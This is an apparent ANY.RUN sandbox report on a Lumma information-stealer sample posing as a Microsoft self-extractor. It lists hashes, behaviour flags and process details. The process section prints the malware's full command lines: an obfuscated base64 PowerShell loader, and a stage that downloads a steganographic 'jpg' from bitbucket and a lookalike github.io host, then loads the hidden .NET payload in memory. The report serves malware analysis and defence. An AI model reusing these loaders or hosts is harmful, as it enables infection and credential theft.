File name:

Q1yLGzl.exe

Full analysis: https://app.any.run/tasks/e2810e87-114c-4474-90c6-d28321c9ef14
Verdict: Malicious activity
Threats:

Lumma is an information stealer, developed using the C programming language. It is offered for sale as a malware-as-a-service, with several plans available. It usually targets cryptocurrency wallets, login credentials, and other sensitive information on a compromised system. The malicious software regularly gets updates that improve and expand its functionality, making it a serious stealer threat.

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Analysis date: May 10, 2025, 04:33:27
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
stegocampaign
lumma
stealer
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 6 sections
MD5:

B59889C6F1E19C2FF18D3377E0879542

SHA1:

861D4E608BB8D9ED7B3F192654DB376072C56072

SHA256:

9298408E1090D2786659C1A039F305FEE49B94FC47700E2124DC4113EBB49DA3

SSDEEP:

6144:5dyr95MfxewjwVD02LnT25qndIjjVVSOnf:5dyr96f0wjwVhLnT25qndIPVVSOnf

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes powershell execution policy

      • wscript.exe (PID: 7192)
      • powershell.exe (PID: 7248)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7248)
      • powershell.exe (PID: 7392)

    • STEGOCAMPAIGN has been detected

      • powershell.exe (PID: 7392)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 7392)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 7392)

    • LUMMA has been detected (SURICATA)

      • svchost.exe (PID: 2196)

    • Connects to the CnC server

      • svchost.exe (PID: 2196)

    • LUMMA mutex has been found

      • MSBuild.exe (PID: 7760)

    • Actions looks like stealing of personal data

      • MSBuild.exe (PID: 7760)

    • Steals credentials from Web Browsers

      • MSBuild.exe (PID: 7760)

  • SUSPICIOUS

    • Process drops legitimate windows executable

      • Q1yLGzl.exe (PID: 5308)

    • Starts a Microsoft application from unusual location

      • Q1yLGzl.exe (PID: 5308)

    • Starts CMD.EXE for commands execution

      • Q1yLGzl.exe (PID: 5308)

    • The process executes VB scripts

      • cmd.exe (PID: 4776)

    • Accesses computer name via WMI (SCRIPT)

      • wscript.exe (PID: 7192)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 7192)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 7192)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 7192)
      • powershell.exe (PID: 7248)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7248)
      • powershell.exe (PID: 7392)

    • Found IP address in command line

      • powershell.exe (PID: 7392)

    • Application launched itself

      • powershell.exe (PID: 7248)

    • Get information on the list of running processes

      • powershell.exe (PID: 7248)

    • Probably download files using WebClient

      • powershell.exe (PID: 7248)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 7392)

    • Contacting a server suspected of hosting an CnC

      • svchost.exe (PID: 2196)

    • Connects to the server without a host name

      • powershell.exe (PID: 7392)

    • Searches for installed software

      • MSBuild.exe (PID: 7760)

  • INFO

    • The sample compiled with english language support

      • Q1yLGzl.exe (PID: 5308)

    • Create files in a temporary directory

      • Q1yLGzl.exe (PID: 5308)
      • powershell.exe (PID: 7392)

    • Checks supported languages

      • Q1yLGzl.exe (PID: 5308)
      • MSBuild.exe (PID: 7760)

    • Reads the computer name

      • Q1yLGzl.exe (PID: 5308)
      • MSBuild.exe (PID: 7760)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 7248)

    • Gets a random number, or selects objects randomly from a collection (POWERSHELL)

      • powershell.exe (PID: 7248)

    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 7248)

    • Reads the software policy settings

      • powershell.exe (PID: 7392)
      • MSBuild.exe (PID: 7760)
      • slui.exe (PID: 7496)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 7392)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7392)

    • Disables trace logs

      • powershell.exe (PID: 7392)

    • Checks proxy server information

      • powershell.exe (PID: 7392)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7392)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2062:07:25 12:18:00+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.2
CodeSize: 31744
InitializedDataSize: 131584
UninitializedDataSize: -
EntryPoint: 0x8200
OSVersion: 10
ImageVersion: 10
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 11.0.19041.1
ProductVersionNumber: 11.0.19041.1
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Windows NT 32-bit
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
CompanyName: Microsoft Corporation
FileDescription: Win32 Cabinet Self-Extractor
FileVersion: 11.00.19041.1 (WinBuild.160101.0800)
InternalName: Wextract
LegalCopyright: © Microsoft Corporation. All rights reserved.
OriginalFileName: WEXTRACT.EXE .MUI
ProductName: Internet Explorer
ProductVersion: 11.00.19041.1
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
140
Monitored processes
13
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start q1ylgzl.exe no specs cmd.exe no specs conhost.exe no specs wscript.exe no specs powershell.exe no specs conhost.exe no specs #STEGOCAMPAIGN powershell.exe sppextcomobj.exe no specs slui.exe msbuild.exe no specs #LUMMA msbuild.exe #LUMMA svchost.exe slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2140\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3096C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
4776cmd.exe /c 681d45a377313.vbsC:\Windows\System32\cmd.exe—Q1yLGzl.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
5308"C:\Users\admin\AppData\Local\Temp\Q1yLGzl.exe" C:\Users\admin\AppData\Local\Temp\Q1yLGzl.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Win32 Cabinet Self-Extractor
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\local\temp\q1ylgzl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
7192"C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\IXP000.TMP\681d45a377313.vbs" C:\Windows\System32\wscript.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
7248"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='WwBOd@GUd@dd@d@ud@FMd@ZQByd@HYd@aQBjd@GUd@Ud@Bvd@Gkd@bgB0d@E0d@YQBud@GEd@ZwBld@HId@XQd@6d@Dod@UwBld@GMd@dQByd@Gkd@dd@B5d@Fd@d@cgBvd@HQd@bwBjd@G8d@bd@d@gd@D0d@Id@Bbd@E4d@ZQB0d@C4d@UwBld@GMd@dQByd@Gkd@dd@B5d@Fd@d@cgBvd@HQd@bwBjd@G8d@bd@BUd@Hkd@cd@Bld@F0d@Ogd@6d@FQd@bd@Bzd@DEd@Mgd@Nd@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@ZgB1d@G4d@YwB0d@Gkd@bwBud@Cd@d@Rd@Bvd@Hcd@bgBsd@G8d@YQBkd@EQd@YQB0d@GEd@RgByd@G8d@bQBMd@Gkd@bgBrd@HMd@Id@B7d@Cd@d@cd@Bhd@HId@YQBtd@Cd@d@Kd@Bbd@HMd@dd@Byd@Gkd@bgBnd@Fsd@XQBdd@CQd@bd@Bpd@G4d@awBzd@Ckd@Id@d@Nd@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Jd@B3d@GUd@YgBDd@Gwd@aQBld@G4d@dd@d@gd@D0d@Id@BOd@GUd@dwd@td@E8d@YgBqd@GUd@YwB0d@Cd@d@UwB5d@HMd@dd@Bld@G0d@LgBOd@GUd@dd@d@ud@Fcd@ZQBid@EMd@bd@Bpd@GUd@bgB0d@Dsd@Id@d@Nd@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Jd@Bzd@Ggd@dQBmd@GYd@bd@Bld@GQd@Td@Bpd@G4d@awBzd@Cd@d@PQd@gd@Ecd@ZQB0d@C0d@UgBhd@G4d@Zd@Bvd@G0d@Id@d@td@Ekd@bgBwd@HUd@dd@BPd@GId@agBld@GMd@dd@d@gd@CQd@bd@Bpd@G4d@awBzd@Cd@d@LQBDd@G8d@dQBud@HQd@Id@d@kd@Gwd@aQBud@Gsd@cwd@ud@Ewd@ZQBud@Gcd@dd@Bod@Dsd@Id@d@Nd@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@ZgBvd@HId@ZQBhd@GMd@ad@d@gd@Cgd@Jd@Bsd@Gkd@bgBrd@Cd@d@aQBud@Cd@d@Jd@Bzd@Ggd@dQBmd@GYd@bd@Bld@GQd@Td@Bpd@G4d@awBzd@Ckd@Id@B7d@Cd@d@dd@Byd@Hkd@Id@B7d@Cd@d@cgBld@HQd@dQByd@G4d@Id@d@kd@Hcd@ZQBid@EMd@bd@Bpd@GUd@bgB0d@C4d@Rd@Bvd@Hcd@bgBsd@G8d@YQBkd@EQd@YQB0d@GEd@Kd@d@kd@Gwd@aQBud@Gsd@KQd@gd@H0d@Id@Bjd@GEd@dd@Bjd@Ggd@Id@B7d@Cd@d@YwBvd@G4d@dd@Bpd@G4d@dQBld@Cd@d@fQd@gd@H0d@Owd@gd@d@0d@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@Byd@GUd@dd@B1d@HId@bgd@gd@CQd@bgB1d@Gwd@bd@d@gd@H0d@Owd@gd@d@0d@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@EId@eQB0d@GUd@cwd@gd@D0d@Id@d@nd@Ggd@dd@B0d@Ccd@Owd@Nd@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Jd@BCd@Hkd@dd@Bld@HMd@Mgd@gd@D0d@Id@d@nd@Hd@d@cwd@6d@C8d@Lwd@nd@Dsd@DQd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@Gwd@ZgBzd@GQd@ZgBzd@GQd@Zwd@gd@D0d@Id@d@gd@CQd@QgB5d@HQd@ZQBzd@Cd@d@Kwd@kd@EId@eQB0d@GUd@cwd@yd@Dsd@DQd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@CQd@bd@Bpd@G4d@awBzd@Cd@d@PQd@gd@Ed@d@Kd@d@od@CQd@bd@Bmd@HMd@Zd@Bmd@HMd@Zd@Bnd@Cd@d@Kwd@gd@Ccd@YgBpd@HQd@YgB1d@GMd@awBld@HQd@LgBvd@HId@Zwd@vd@Ggd@ZwBmd@HMd@cgBzd@HId@ZQBzd@HId@LwBnd@GQd@ZgBhd@HMd@Zd@Bmd@HMd@Zd@Bmd@Gcd@cwd@vd@GQd@bwB3d@G4d@bd@Bvd@GEd@Zd@Bzd@C8d@dd@Bld@HMd@dd@d@yd@C4d@agBwd@Gcd@Pwd@xd@DMd@Nwd@xd@DEd@Mwd@nd@Ckd@Ld@d@gd@Cgd@Jd@Bsd@GYd@cwBkd@GYd@cwBkd@Gcd@Id@d@rd@Cd@d@JwBvd@GYd@aQBjd@GUd@Mwd@2d@DUd@LgBnd@Gkd@dd@Bod@HUd@Ygd@ud@Gkd@bwd@vd@DEd@LwB0d@GUd@cwB0d@C4d@agBwd@Gcd@Jwd@pd@Ckd@Owd@Nd@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@Gkd@bQBhd@Gcd@ZQBCd@Hkd@dd@Bld@HMd@Id@d@9d@Cd@d@Rd@Bvd@Hcd@bgBsd@G8d@YQBkd@EQd@YQB0d@GEd@RgByd@G8d@bQBMd@Gkd@bgBrd@HMd@Id@d@kd@Gwd@aQBud@Gsd@cwd@7d@d@0d@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Gkd@Zgd@gd@Cgd@Jd@Bpd@G0d@YQBnd@GUd@QgB5d@HQd@ZQBzd@Cd@d@LQBud@GUd@Id@d@kd@G4d@dQBsd@Gwd@KQd@gd@Hsd@Id@d@kd@Gkd@bQBhd@Gcd@ZQBUd@GUd@ed@B0d@Cd@d@PQd@gd@Fsd@UwB5d@HMd@dd@Bld@G0d@LgBUd@GUd@ed@B0d@C4d@RQBud@GMd@bwBkd@Gkd@bgBnd@F0d@Ogd@6d@FUd@Vd@BGd@Dgd@LgBHd@GUd@dd@BTd@HQd@cgBpd@G4d@Zwd@od@CQd@aQBtd@GEd@ZwBld@EId@eQB0d@GUd@cwd@pd@Dsd@DQd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Jd@Bzd@HQd@YQByd@HQd@RgBsd@GEd@Zwd@gd@D0d@Id@d@nd@Dwd@Pd@BCd@EEd@UwBFd@DYd@Nd@Bfd@FMd@Vd@BBd@FId@Vd@d@+d@D4d@Jwd@7d@Cd@d@Jd@Bld@G4d@Zd@BGd@Gwd@YQBnd@Cd@d@PQd@gd@Ccd@Pd@d@8d@EId@QQBTd@EUd@Ngd@0d@F8d@RQBOd@EQd@Pgd@+d@Ccd@Owd@gd@CQd@cwB0d@GEd@cgB0d@Ekd@bgBkd@GUd@ed@d@gd@D0d@Id@d@kd@Gkd@bQBhd@Gcd@ZQBUd@GUd@ed@B0d@C4d@SQBud@GQd@ZQB4d@E8d@Zgd@od@CQd@cwB0d@GEd@cgB0d@EYd@bd@Bhd@Gcd@KQd@7d@Cd@d@DQd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@CQd@ZQBud@GQd@SQBud@GQd@ZQB4d@Cd@d@PQd@gd@CQd@aQBtd@GEd@ZwBld@FQd@ZQB4d@HQd@LgBJd@G4d@Zd@Bld@Hgd@TwBmd@Cgd@Jd@Bld@G4d@Zd@BGd@Gwd@YQBnd@Ckd@Owd@Nd@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@Bpd@GYd@Id@d@od@CQd@cwB0d@GEd@cgB0d@Ekd@bgBkd@GUd@ed@d@gd@C0d@ZwBld@Cd@d@Md@d@gd@C0d@YQBud@GQd@Id@d@kd@GUd@bgBkd@Ekd@bgBkd@GUd@ed@d@gd@C0d@ZwB0d@Cd@d@Jd@Bzd@HQd@YQByd@HQd@SQBud@GQd@ZQB4d@Ckd@Id@B7d@Cd@d@Jd@Bzd@HQd@YQByd@HQd@SQBud@GQd@ZQB4d@Cd@d@Kwd@9d@Cd@d@Jd@Bzd@HQd@YQByd@HQd@RgBsd@GEd@Zwd@ud@Ewd@ZQBud@Gcd@dd@Bod@Dsd@Id@d@Nd@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Jd@Bid@GEd@cwBld@DYd@Nd@BMd@GUd@bgBnd@HQd@ad@Bod@Cd@d@PQd@gd@CQd@ZQBud@GQd@SQBud@GQd@ZQB4d@Cd@d@LQd@gd@CQd@cwB0d@GEd@cgB0d@Ekd@bgBkd@GUd@ed@d@7d@d@0d@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@CQd@YgBhd@HMd@ZQd@2d@DQd@QwBvd@G0d@bQBhd@G4d@Zd@d@gd@D0d@Id@d@kd@Gkd@bQBhd@Gcd@ZQBUd@GUd@ed@B0d@C4d@UwB1d@GId@cwB0d@HId@aQBud@Gcd@Kd@d@kd@HMd@dd@Bhd@HId@dd@BJd@G4d@Zd@Bld@Hgd@Ld@d@gd@CQd@YgBhd@HMd@ZQd@2d@DQd@Td@Bld@G4d@ZwB0d@Ggd@ad@d@pd@Dsd@DQd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@GUd@bgBkd@Ekd@bgBkd@GUd@ed@d@gd@D0d@Id@d@kd@Gkd@bQBhd@Gcd@ZQBUd@GUd@ed@B0d@C4d@SQBud@GQd@ZQB4d@E8d@Zgd@od@CQd@ZQBud@GQd@RgBsd@GEd@Zwd@pd@Dsd@DQd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Jd@Bjd@G8d@bQBtd@GEd@bgBkd@EId@eQB0d@GUd@cwd@gd@D0d@Id@Bbd@FMd@eQBzd@HQd@ZQBtd@C4d@QwBvd@G4d@dgBld@HId@dd@Bdd@Dod@OgBGd@HId@bwBtd@EId@YQBzd@GUd@Ngd@0d@FMd@dd@Byd@Gkd@bgBnd@Cgd@Jd@Bid@GEd@cwBld@DYd@Nd@BDd@G8d@bQBtd@GEd@bgBkd@Ckd@Owd@gd@Cd@d@Id@d@kd@GUd@bgBkd@Ekd@bgBkd@GUd@ed@d@gd@D0d@Id@d@kd@Gkd@bQBhd@Gcd@ZQBUd@GUd@ed@B0d@C4d@SQBud@GQd@ZQB4d@E8d@Zgd@od@CQd@ZQBud@GQd@RgBsd@GEd@Zwd@pd@Dsd@Id@d@gd@Cd@d@Jd@Bld@G4d@Zd@BJd@G4d@Zd@Bld@Hgd@Id@d@9d@Cd@d@Jd@Bpd@G0d@YQBnd@GUd@Vd@Bld@Hgd@dd@d@ud@Ekd@bgBkd@GUd@ed@BPd@GYd@Kd@d@kd@GUd@bgBkd@EYd@bd@Bhd@Gcd@KQd@7d@d@0d@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@Gwd@bwBhd@GQd@ZQBkd@EEd@cwBzd@GUd@bQBid@Gwd@eQd@gd@D0d@Id@Bbd@FMd@eQBzd@HQd@ZQBtd@C4d@UgBld@GYd@bd@Bld@GMd@dd@Bpd@G8d@bgd@ud@EEd@cwBzd@GUd@bQBid@Gwd@eQBdd@Dod@OgBMd@G8d@YQBkd@Cgd@Jd@Bjd@G8d@bQBtd@GEd@bgBkd@EId@eQB0d@GUd@cwd@pd@Dsd@DQd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@RwBld@HQd@LQBQd@HId@bwBjd@GUd@cwBzd@Cd@d@fd@d@gd@FMd@bwByd@HQd@LQBPd@GId@agBld@GMd@dd@d@gd@EMd@Ud@BVd@Cd@d@LQBEd@GUd@cwBjd@GUd@bgBkd@Gkd@bgBnd@Cd@d@fd@d@gd@FMd@ZQBsd@GUd@YwB0d@C0d@TwBid@God@ZQBjd@HQd@Id@d@td@EYd@aQByd@HMd@dd@d@gd@DUd@Id@B8d@Cd@d@RgBvd@HId@bQBhd@HQd@LQBUd@GEd@YgBsd@GUd@Id@BOd@GEd@bQBld@Cwd@QwBQd@FUd@DQd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@CQd@dd@B5d@Hd@d@ZQd@gd@D0d@Id@d@kd@Gwd@bwBhd@GQd@ZQBkd@EEd@cwBzd@GUd@bQBid@Gwd@eQd@ud@Ecd@ZQB0d@FQd@eQBwd@GUd@Kd@d@nd@HQd@ZQBzd@HQd@cd@Bvd@Hcd@ZQByd@HMd@ad@Bld@Gwd@bd@d@ud@Egd@bwBhd@GEd@YQBhd@GEd@YQBzd@GQd@bQBld@Ccd@KQd@7d@d@0d@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@Nd@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@BHd@GUd@dd@d@td@Fd@d@cgBvd@GMd@ZQBzd@HMd@Id@B8d@Cd@d@UwBvd@HId@dd@d@td@E8d@YgBqd@GUd@YwB0d@Cd@d@QwBQd@FUd@Id@d@td@EQd@ZQBzd@GMd@ZQBud@GQd@aQBud@Gcd@Id@B8d@Cd@d@UwBld@Gwd@ZQBjd@HQd@LQBPd@GId@agBld@GMd@dd@d@gd@C0d@RgBpd@HId@cwB0d@Cd@d@NQd@gd@Hwd@Id@BGd@G8d@cgBtd@GEd@dd@d@td@FQd@YQBid@Gwd@ZQd@gd@E4d@YQBtd@GUd@Ld@BDd@Fd@d@VQd@Nd@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Jd@Btd@GUd@dd@Bod@G8d@Zd@d@gd@D0d@Id@d@kd@HQd@eQBwd@GUd@LgBHd@GUd@dd@BNd@GUd@dd@Bod@G8d@Zd@d@od@Ccd@bd@Bmd@HMd@ZwBld@GQd@Zd@Bkd@GQd@Zd@Bkd@GQd@YQd@nd@Ckd@LgBJd@G4d@dgBvd@Gsd@ZQd@od@CQd@bgB1d@Gwd@bd@d@sd@Cd@d@WwBvd@GId@agBld@GMd@dd@Bbd@F0d@XQd@gd@Cgd@Jwd@gd@HQd@ed@B0d@C4d@ZwBBd@Hd@d@Zd@Btd@EYd@bgd@vd@HMd@ZQBsd@Gkd@ZgBfd@GMd@aQBsd@GId@dQBwd@C8d@NQd@2d@DEd@Lgd@2d@DId@Mgd@ud@Dd@d@Ngd@ud@DId@Ngd@vd@C8d@Ogd@nd@Cwd@Id@d@nd@Dd@d@Jwd@sd@Cd@d@JwBTd@HQd@YQByd@HQd@dQBwd@E4d@YQBtd@GUd@Jwd@sd@Cd@d@JwBNd@HMd@YgB1d@Gkd@bd@Bkd@Ccd@Ld@d@gd@Ccd@Md@d@nd@Ckd@KQB9d@H0d@';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('d@','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -execC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7256\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7392"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $Bytes = 'htt'; $Bytes2 = 'ps://'; $lfsdfsdg = $Bytes +$Bytes2; $links = @(($lfsdfsdg + 'bitbucket.org/hgfsrsresr/gdfasdfsdfgs/downloads/test2.jpg?137113'), ($lfsdfsdg + 'ofice365.github.io/1/test.jpg')); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Lengthh = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Lengthh); $endIndex = $imageText.IndexOf($endFlag); $commandBytes = [System.Convert]::FromBase64String($base64Command); $endIndex = $imageText.IndexOf($endFlag); $endIndex = $imageText.IndexOf($endFlag); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.gApdmFn/selif_cilbup/561.622.06.26//:', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -execC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7420C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
